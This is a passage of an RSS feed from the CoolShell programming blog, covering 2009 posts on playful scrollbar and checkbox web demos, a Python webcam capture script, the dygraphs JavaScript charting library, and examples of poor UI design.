href=\"https://coolshell.cn/articles/1941.html\">程序员的相关笑话（二）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1941.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>哥是玩程序的</title>\n\t\t<link>https://coolshell.cn/articles/1932.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1932.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 14 Dec 2009 00:35:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1932</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面一组有趣的Web示例，这些示例使用Web的一些很“土”控件做出一些很有趣的玩意儿。原来，编程是可以用来玩的，看看这些玩程序的人搞出的这些有意思的玩意，简直是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1932.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1932.html\">哥是玩程序的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面一组有趣的Web示例，这些示例使用Web的一些很“土”控件做出一些很有趣的玩意儿。原来，编程是可以用来玩的，看看这些玩程序的人搞出的这些有意思的玩意，简直是玩得太有意思了。不过，请注意，这些东西只能使用Chrome打开，不然，你看不到相关的效果。</p>\n<p><strong>用滚动条做的时间</strong></p>\n<p><a href=\"http://toki-woki.net/p/scroll-clock/\">http://toki-woki.net/p/scroll-clock/</a>，下面的抓图只显示了时和分，后面还有不停跳动的秒。可以在IE，Fireforx和Chrome中查看。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"用滚动条做的时间\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/scroll_timer-300x162.jpg\" alt=\"用滚动条做的时间\" width=\"300\" height=\"162\" /></p>\n<p><strong>用CheckBox做成一个水滴效果</strong></p>\n<p><a href=\"http://the389.com/works/drops/\">http://the389.com/works/drops/</a>，这个示例的整个页面由Checkbox构成，你用鼠标点一下其中一个CheckBox，你会看到一个巨大的水滴滴了下去。Chrome中效果更好。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"用checkbox做的雨滴效果\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/rain_drop.jpg\" alt=\"用checkbox做的雨滴效果\" width=\"265\" height=\"279\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-1932\"></span></p>\n<p><strong>一个用滚动条做的扭动效果</strong></p>\n<p><a href=\"http://the389.com/works/shake/\">http://the389.com/works/shake/</a>，页面打开你可以看到一排滚动条，用鼠标快速地横向滑动，你会看到滚动条开始跟着你的鼠标扭动。太BT了。请使用Chrome查看。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"一个可以扭曲的滚动条\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/shake-300x255.jpg\" alt=\"一个可以扭曲的滚动条\" width=\"300\" height=\"255\" /></p>\n<p><strong>用CheckBox做的一个音阶</strong></p>\n<p><a href=\"http://the389.com/works/tenori/\">http://the389.com/works/tenori/</a>，这个效果还是只能用Chrome查看。随机地点一下其中的Checkbox，于是程序会根据你所点的顺序开始演奏一些“滴滴嘟嘟”的声音，很有意思。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"用CheckBox作的音阶\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/tenori-274x300.jpg\" alt=\"用CheckBox作的音阶\" width=\"274\" height=\"300\" /></p>\n<p><strong>用滚动条做的一个波浪效果</strong></p>\n<p><a href=\"http://the389.com/works/scrollbars/\">http://the389.com/works/scrollbars/</a>，还是用鼠标触发，把鼠标放在这一排滚动条中上下移动，你会发现滚动条会跟着你的鼠标形成波浪的效果。还是只能在Chrome中查看。</p>\n<p style=\"text-align: center;\"><a href=\"http://toki-woki.net/p/scroll-clock/\"><img decoding=\"async\" loading=\"lazy\" title=\"用滚动条做的波形\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/wave-300x194.jpg\" alt=\"用滚动条做的波形\" width=\"300\" height=\"194\" /></a></p>\n<p style=\"text-align: left;\">the389.com这个网站成了这些乱七八糟的小玩意的试验地，上面还有其它一些这些类似的小玩意。呵呵，不要迷恋哥，哥只是玩程序。</p>\n<p style=\"text-align: left;\">另外，在Chrome的试验田，你还可以看到很多这样的东西，甚至更弦的东西。只不过，Chrome试验田的那些小玩意看着不够“土”，所以效果不够好。呵呵。<br />\n<a href=\"http://www.chromeexperiments.com/\">http://www.chromeexperiments.com/</a></p>\n<p style=\"text-align: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1932.html\">哥是玩程序的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1932.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>37</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何使用Python操作摄像头</title>\n\t\t<link>https://coolshell.cn/articles/1928.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1928.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 11 Dec 2009 06:10:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PIL]]></category>\n\t\t<category><![CDATA[pygame]]></category>\n\t\t<category><![CDATA[VideoCapture]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1928</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>用过USB摄像头的都知道，你需要使用鼠标来操作它，比如截个图，录个像什么的，要点N次鼠标，对于我们那些不喜欢多次点击鼠标的人来说，这是一件很boring的事情，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1928.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1928.html\">如何使用Python操作摄像头</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>用过USB摄像头的都知道，你需要使用鼠标来操作它，比如截个图，录个像什么的，要点N次鼠标，对于我们那些不喜欢多次点击鼠标的人来说，这是一件很boring的事情，所以，本文将教你如何使用Python来操作摄像头。</p>\n<p>这里，我们需要三个Python库： <a href=\"http://videocapture.sourceforge.net/\">VideoCapture</a>， <a href=\"http://www.pythonware.com/products/pil/\">PIL</a>  和 <a href=\"http://www.pygame.org/\">pygame</a>。使用这三个库你可以非常容易的编写一个摄像头程序。之所以使用pygame，其目的就是因为这个库可以处理视频帧（fps）。下面是代码：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">from VideoCapture import Device\nimport ImageDraw, sys, pygame, time\nfrom pygame.locals import *\nfrom PIL import ImageEnhance\n\nres = (640,480)\npygame.init()\ncam = Device()\ncam.setResolution(res[0],res[1])\nscreen = pygame.display.set_mode((640,480))\npygame.display.set_caption(&#039;Webcam&#039;)\npygame.font.init()\nfont = pygame.font.SysFont(&quot;Courier&quot;,11)\n\ndef disp(phrase,loc):\n    s = font.render(phrase, True, (200,200,200))\n    sh = font.render(phrase, True, (50,50,50))\n    screen.blit(sh, (loc[0]+1,loc[1]+1))\n    screen.blit(s, loc)\n\nbrightness = 1.0\ncontrast = 1.0\nshots = 0\n\nwhile 1:\n    camshot = ImageEnhance.Brightness(cam.getImage()).enhance(brightness)\n    camshot = ImageEnhance.Contrast(camshot).enhance(contrast)\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT: sys.exit()\n    keyinput = pygame.key.get_pressed()\n    if keyinput[K_1]: brightness -= .1\n    if keyinput[K_2]: brightness += .1\n    if keyinput[K_3]: contrast -= .1\n    if keyinput[K_4]: contrast += .1\n    if keyinput[K_q]: cam.displayCapturePinProperties()\n    if keyinput[K_w]: cam.displayCaptureFilterProperties()\n    if keyinput[K_s]:\n        filename = str(time.time()) + &quot;.jpg&quot;\n        cam.saveSnapshot(filename, quality=80, timestamp=0)\n        shots += 1\n    camshot = pygame.image.frombuffer(camshot.tostring(), res, &quot;RGB&quot;)\n    screen.blit(camshot, (0,0))\n    disp(&quot;S:&quot; + str(shots), (10,4))\n    disp(&quot;B:&quot; + str(brightness), (10,16))\n    disp(&quot;C:&quot; + str(contrast), (10,28))\n    pygame.display.flip()</pre>\n<p>这段代码中的一些要点的解释如下：</p>\n<p><span id=\"more-1928\"></span></p>\n<ul>\n<li>第15行的那个函数是在视频上显示些信息。这个例子中，显示的是抓图的数量以及当前的亮度和对比度。这个函数先显示深灰色的文本，然后偏移几个像素，再显示浅灰色的，这样可以有阴影的效果。</li>\n<li>第26行是在调整亮度和对比度。30-33行是在设置数字键1-4用于调整亮度和对比度。</li>\n<li>34 和35行是在设置 &#8216;q&#8217; 和 &#8216;w&#8217; 来显示摄像头的对话框。在那里你可以调整分辨率和暴光度等等。</li>\n<li>36行及以下的代码，是在存一个抓图文件。文件名中使用了当前时间。.</li>\n</ul>\n<p>希望这个小程序能给你开启一个如何写摄像头的程序。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1928.html\">如何使用Python操作摄像头</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1928.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript 曲线表作图库</title>\n\t\t<link>https://coolshell.cn/articles/1924.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1924.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 11 Dec 2009 05:44:45 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[dygraphs]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1924</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>dygraphs 是一个开源的Javascript库，它可以产生一个可交互式的，可缩放的的曲线表。其可以用来显示大密度的数据集（比如股票，气温，等等），并且可以...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1924.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1924.html\">Javascript 曲线表作图库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.danvk.org/dygraphs/\" target=\"_blank\">dygraphs</a> 是一个开源的Javascript库，它可以产生一个可交互式的，可缩放的的曲线表。其可以用来显示大密度的数据集（比如股票，气温，等等），并且可以让用户来浏览和解释这个曲线图。在它的主页（<a href=\"http://www.danvk.org/dygraphs/\">http://www.danvk.org/dygraphs/</a>），你可以看到一些示例和用法。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/dygraphs.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1925\" title=\"dygraphs Javascript 曲线图库\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/dygraphs.jpg\" alt=\"dygraphs Javascript 曲线图库\" width=\"568\" height=\"305\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/dygraphs.jpg 568w, https://coolshell.cn/wp-content/uploads/2009/12/dygraphs-300x161.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/12/dygraphs-503x270.jpg 503w\" sizes=\"(max-width: 568px) 100vw, 568px\" /></a></p>\n<p>要使用这个库，很简单，只需要包括<code><a href=\"http://github.com/danvk/dygraphs/downloads/\">dygraph-combined.js</a></code>文件，其文件尺寸很经济，也就45K。</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;script type=&quot;text/javascript&quot;\n  src=&quot;dygraph-combined.js&quot;&gt;&lt;/script&gt;</pre>\n<p>下面两个示例，你可以把数据写在javascript中，也可以设置一个csv文件。</p>\n<p><span id=\"more-1924\"></span></p>\n<p><strong>示例一，你可以在代码中指定数据</strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;div id=&quot;graphdiv&quot;&gt;&lt;/div&gt;\n&lt;script type=&quot;text/javascript&quot;&gt;\n  g = new Dygraph(\n\n    // containing div\n    document.getElementById(&quot;graphdiv&quot;),\n\n    // CSV or path to a CSV file.\n    &quot;Date,Temperature\\n&quot; +\n    &quot;2008-05-07,75\\n&quot; +\n    &quot;2008-05-08,70\\n&quot; +\n    &quot;2008-05-09,80\\n&quot;\n\n  );\n&lt;/script&gt;\n</pre>\n<p><strong>示例二、你可以引入外部的CSV文件</strong>。(<code><a href=\"https://coolshell.cn/wp-admin/temperatures.csv\">temperatures.csv</a>)</code></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;div id=&quot;graphdiv2&quot;\n  style=&quot;width:500px; height:300px;&quot;&gt;&lt;/div&gt;\n&lt;script type=&quot;text/javascript&quot;&gt;\n  g2 = new Dygraph(\n    document.getElementById(&quot;graphdiv2&quot;),\n    &quot;temperatures.csv&quot;, // path to CSV file\n    {}          // options\n  );\n&lt;/script&gt;</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1924.html\">Javascript 曲线表作图库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1924.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>UI的恶梦</title>\n\t\t<link>https://coolshell.cn/articles/1907.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1907.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 09 Dec 2009 08:04:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1907</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>UI可能是编程中最令人头痛的事了。设计UI通常对于程序员来说是一件很痛苦的事情。下面，让我们来看一看一些可怕的UI设计吧，前面几个UI都是出于咱们程序员自己之手...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1907.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1907.html\">UI的恶梦</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>UI可能是编程中最令人头痛的事了。设计UI通常对于程序员来说是一件很痛苦的事情。下面，让我们来看一看一些可怕的UI设计吧，前面几个UI都是出于咱们程序员自己之手，把他们放在这里，希望能引起大家的注意。（国内软件的UI嘛的我就不说了，省得得罪人）下面这个例子不知道你是否让你似曾相识，呵呵，记得我上大学时，用delphi，PB经常开发这样的界面，当时觉得自己特牛！现在看上去嘛，简直就是一个垃圾。（关于UI设计，你可以查看本站的《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/363.html\">35个强大的UI设计教程</a>》）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/badui2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"UI的恶梦\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/badui2-300x224.jpg\" alt=\"UI的恶梦\" width=\"300\" height=\"224\" /></a></p>\n<p style=\"text-align: left;\">首先，我们先来看一个叫wGetGUI的小工具软件，这是一个100%由程序员设计的UI，如下所示：</p>\n<p style=\"text-align: left;\"><span id=\"more-1907\"></span></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/wgetgui-screenshot.png\"><img decoding=\"async\" loading=\"lazy\" title=\"wgetgui-screenshot\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/wgetgui-screenshot-300x208.png\" alt=\"wgetgui-screenshot\" width=\"300\" height=\"208\" /></a></p>\n<p style=\"text-align: left;\">看到这样的界面，你会觉得怎么样？“高科技”还是“头晕”？相比起命令行的那个wget，真不知道这个图形界面的工具是怎么被设计出来。哎。这里是这个工具的网页：<a href=\"http://www.jensroesner.de/wgetgui/\">http://www.jensroesner.de/wgetgui/</a>，网页上还有几张图，也是一样的。</p>\n<p style=\"text-align: left;\">不过，比起下面这个来，wGetGUI算不上什么了。下面这个软件叫做：FileMatrix，这个界面是前所未有的经典，那叫一个相当强大啊。估计可以节省很多对话框和tab页了，把软件的所有功能全部一次性陈列出来。这也是程序员的杰作。（点击图片，你可以慢慢欣赏下面这个UI的细节）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/UI.png\"><img decoding=\"async\" loading=\"lazy\" title=\"UI\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/UI-300x234.png\" alt=\"UI\" width=\"300\" height=\"234\" /></a></p>\n<p style=\"text-align: left;\">当然，FileMatrix今天还在，其主页在<a href=\"http://www.gardenerofthoughts.org/ideas/filematrix/index.htm\" target=\"_blank\">这里</a>。今天的FileMatrix的UI界面已经变得很简洁了，其还支持一些皮肤，不过它们还是很糟糕。如下所示：（<a href=\"http://www.gardenerofthoughts.org/ideas/filematrix/screenshots.htm\" target=\"_blank\">更多的图片</a>）</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/marble.png\"><img decoding=\"async\" loading=\"lazy\" title=\"marble\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/marble-300x226.png\" alt=\"marble\" width=\"300\" height=\"226\" /></a></p>\n<p style=\"text-align: left;\">让我们再来看看历史上Windows 3.2的某个配色方案：hotdog（如下图所示），真不知道这是谁配的，真是——“红配黄，喜洋洋”啊。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-1917\" title=\"windows-311-hotdog-stand-scheme\" src=\"https://coolshell.cn/wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme-300x225.png\" alt=\"windows-311-hotdog-stand-scheme\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme-300x225.png 300w, https://coolshell.cn/wp-content/uploads/2009/12/windows-311-hotdog-stand-scheme.png 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" 